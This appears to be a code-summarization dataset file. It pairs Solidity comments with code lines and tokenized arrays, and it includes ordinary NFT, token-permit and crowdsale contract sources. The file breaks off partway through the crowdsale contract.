0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12316,
1435,
1071,
288,
203,
529,
273,
315,
43,
13651,
14432,
203,
7175,
273,
315,
43,
31487,
14432,
203,
31734,
273,
1725,
31,
203,
67,
4963,
3088,
1283,
273,
2130,
12648,
12648,
31,
203,
203,
70,
26488,
63,
3576,
18,
15330,
65,
273,
389,
4963,
3088,
1283,
31,
203,
18356,
12279,
12,
2867,
12,
20,
3631,
1234,
18,
15330,
16,
389,
4963,
3088,
1283,
1769,
203,
97,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/3/0x35EDe9C9fae5be68381529A87C368F96654282Db/sources/GovernorAlpha.sol | ~7 days in blocks (assuming 15s blocks)
| function votingPeriod() public pure returns (uint) { return 2_40; } | 5,133,791 | [
1,
98,
27,
4681,
316,
4398,
261,
428,
21249,
4711,
87,
4398,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
331,
17128,
5027,
1435,
1071,
16618,
1135,
261,
11890,
13,
288,
327,
576,
67,
7132,
31,
289,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.8.10;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/ERC721.sol';
contract maxNFT is ERC721 {
address public artist; // Address for the right owners
address public txFeeToken; // Address for the processing Fees for the royalty
uint public txFeeAmount; // amount
mapping(address => bool) public excludedList; // List stating the free transferer like the artist himself
constructor(
address _artist,
address _txFeeToken,
uint _txFeeAmount
) ERC721('MaxNFT', 'MFT') { // ERC721('NFT name', 'NFT SYMBOL')
artist = _artist;
txFeeToken = _txFeeToken;
txFeeAmount = _txFeeAmount;
excludedList[_artist] = true; // The Artist should not pay fees to himself
_mint(artist, 0); // Mint one NFT
}
// Update the excluded list
function setExcluded(address excluded, bool status) external {
require(msg.sender == artist, 'artist only'); //only the artist can call this function
excludedList[excluded] = status;
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override { // We overwrite this object as it is a virtual in openzeppelin
require(
_isApprovedOrOwner(_msgSender(), tokenId),
'ERC721: transfer caller is not owner nor approved'
); // Make sure that the owner is valid
if(excludedList[from] == false) {
_payTxFee(from); // Pay the fee
}
_transfer(from, to, tokenId); // From openzeppelin/contracts/token/ERC20/IERC20
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
if(excludedList[from] == false) {
_payTxFee(from);
}
safeTransferFrom(from, to, tokenId, ''); // to avoid locked tokens
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
'ERC721: transfer caller is not owner nor approved'
);
if(excludedList[from] == false) {
_payTxFee(from);
}
_safeTransfer(from, to, tokenId, _data);
}
function _payTxFee(address from) internal {
IERC20 token = IERC20(txFeeToken); // Pointer to the creator of the interface IERC20
token.transferFrom(from, artist, txFeeAmount); // fransfer the fee from the sender to the artist the fee
}
} | ERC721('NFT name', 'NFT SYMBOL')
| ) ERC721('MaxNFT', 'MFT') { | 12,740,690 | [
1,
654,
39,
27,
5340,
2668,
50,
4464,
508,
2187,
296,
50,
4464,
26059,
6134,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
262,
4232,
39,
27,
5340,
2668,
2747,
50,
4464,
2187,
296,
49,
4464,
6134,
288,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/56/0xe7DfCB8215ad65c07d5A929e010f0deC51F0069b/sources/BEP20DOROToken.sol | * @notice Triggers an approval from owner to spends @param owner The address to approve from @param spender The address to be approved @param rawAmount The number of tokens that are approved (2^256-1 means infinite) @param deadline The time at which to expire the signature @param v The recovery byte of the signature @param r Half of the ECDSA signature pair @param s Half of the ECDSA signature pair/ | function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
amount = safe96(rawAmount, "permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(_name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "permit: invalid signature");
require(signatory == owner, "permit: unauthorized");
require(block.timestamp <= deadline, "permit: signature expired");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
| 11,190,895 | [
1,
15114,
392,
23556,
628,
3410,
358,
17571,
87,
225,
3410,
1021,
1758,
358,
6617,
537,
628,
225,
17571,
264,
1021,
1758,
358,
506,
20412,
225,
1831,
6275,
1021,
1300,
434,
2430,
716,
854,
20412,
261,
22,
66,
5034,
17,
21,
4696,
14853,
13,
225,
14096,
1021,
813,
622,
1492,
358,
6930,
326,
3372,
225,
331,
1021,
11044,
1160,
434,
326,
3372,
225,
436,
670,
6186,
434,
326,
7773,
19748,
3372,
3082,
225,
272,
670,
6186,
434,
326,
7773,
19748,
3372,
3082,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
21447,
12,
2867,
3410,
16,
1758,
17571,
264,
16,
2254,
1831,
6275,
16,
2254,
14096,
16,
2254,
28,
331,
16,
1731,
1578,
436,
16,
1731,
1578,
272,
13,
3903,
288,
203,
3639,
2254,
10525,
3844,
31,
203,
3639,
309,
261,
1899,
6275,
422,
2254,
19236,
21,
3719,
288,
203,
5411,
3844,
273,
2254,
10525,
19236,
21,
1769,
203,
5411,
3844,
273,
4183,
10525,
12,
1899,
6275,
16,
315,
457,
1938,
30,
3844,
14399,
19332,
4125,
8863,
203,
3639,
289,
203,
3639,
1731,
1578,
2461,
6581,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
12,
18192,
67,
2399,
15920,
16,
417,
24410,
581,
5034,
12,
3890,
24899,
529,
13,
3631,
30170,
548,
9334,
1758,
12,
2211,
3719,
1769,
203,
3639,
1731,
1578,
1958,
2310,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
12,
3194,
6068,
67,
2399,
15920,
16,
3410,
16,
17571,
264,
16,
1831,
6275,
16,
1661,
764,
63,
8443,
3737,
15,
16,
14096,
10019,
203,
3639,
1731,
1578,
5403,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
31458,
92,
3657,
64,
92,
1611,
3113,
2461,
6581,
16,
1958,
2310,
10019,
203,
3639,
1758,
1573,
8452,
273,
425,
1793,
3165,
12,
10171,
16,
331,
16,
436,
16,
272,
1769,
203,
3639,
2583,
12,
2977,
8452,
480,
1758,
12,
20,
3631,
315,
457,
1938,
30,
2057,
3372,
8863,
203,
3639,
2583,
12,
2977,
8452,
422,
3410,
16,
315,
457,
1938,
30,
640,
8434,
8863,
203,
3639,
2583,
12,
2629,
18,
5508,
1648,
14096,
16,
315,
457,
1938,
30,
2
] |
./full_match/80001/0x8D2C372317524a8Af5313883434411fd3DAE55d9/sources/contracts/lib/OrderCombiner.sol | Update end amount in memory to match the derived amount. | considerationItem.endAmount = endAmount;
| 878,084 | [
1,
1891,
679,
3844,
316,
3778,
358,
845,
326,
10379,
3844,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
10792,
5260,
367,
1180,
18,
409,
6275,
273,
679,
6275,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.1;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
/**
* @title Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <remco@2?.com>, Eenae <[email protected]>
* @dev If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor () internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale is ReentrancyGuard, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// start ICO
uint256 public _startStage1;
uint256 public _startStage2;
// Address where funds are collected
address payable private _wallet;
uint256 public _maxPay;
uint256 public _minPay;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
// token - EUR
uint256 private _rate; // 6 decimals
// Amount of wei raised
uint256 private _weiRaised;
//whitelist
mapping (address => uint32) public whitelist;
//for startStage2
uint256 _totalNumberPayments = 0;
uint256 _numberPaidPayments = 0;
mapping(uint256 => address) _paymentAddress;
mapping(uint256 => uint256) _paymentDay;
mapping(uint256 => uint256) _paymentValue;
mapping(uint256 => uint256) _totalAmountDay;
mapping(uint256 => uint8) _paymentFlag;
uint256 public _amountTokensPerDay;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor () public {
_startStage1 = 1553083200;
_startStage2 = 1554379201;
_rate = 285;
_wallet = 0x68A924EA85c96e74A05cf12465cB53702a560811;
_token = IERC20(0xC0D766017141dd4866738C1e704Be6feDc97B904);
_amountTokensPerDay = 2000000000000000000000000;
_maxPay = 1 * 100 ether;
_minPay = 1 * 200000000000000000;
require(_rate > 0);
require(_wallet != address(0));
require(address(_token) != address(0));
require(_startStage2 > _startStage1 + 15 * 1 days);
}
// 1 - allow, 0 - denied
function setWhiteList(address _address, uint32 _flag) public onlyOwner {
whitelist[_address] = _flag;
}
// 1 - allow
function addAddressToWhiteList(address[] memory _addr) public onlyOwner {
for(uint256 i = 0; i < _addr.length; i++) {
whitelist[_addr[i]] = 1;
}
}
// 0 - denied
function subAddressToWhiteList(address[] memory _addr) public onlyOwner {
for(uint256 i = 0; i < _addr.length; i++) {
whitelist[_addr[i]] = 0;
}
}
function setRate(uint256 rate) public onlyOwner {
_rate = rate;
}
function setMaxPay(uint256 maxPay) public onlyOwner {
_maxPay = maxPay;
}
function setMinPay(uint256 minPay) public onlyOwner {
_minPay = minPay;
}
function _returnTokens(address wallet, uint256 value) public onlyOwner {
_token.transfer(wallet, value);
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
* Note that other contracts will transfer fund with a base gas stipend
* of 2300, which is not enough to call buyTokens. Consider calling
* buyTokens directly when purchasing tokens from a contract.
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @return the token being sold.
*/
function token() public view returns (IERC20) {
return _token;
}
/**
* @return the address where funds are collected.
*/
function wallet() public view returns (address payable) {
return _wallet;
}
/**
* @return the number of token units a buyer gets per wei.
*/
function rate() public view returns (uint256) {
return _rate;
}
/**
* @return the amount of wei raised.
*/
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
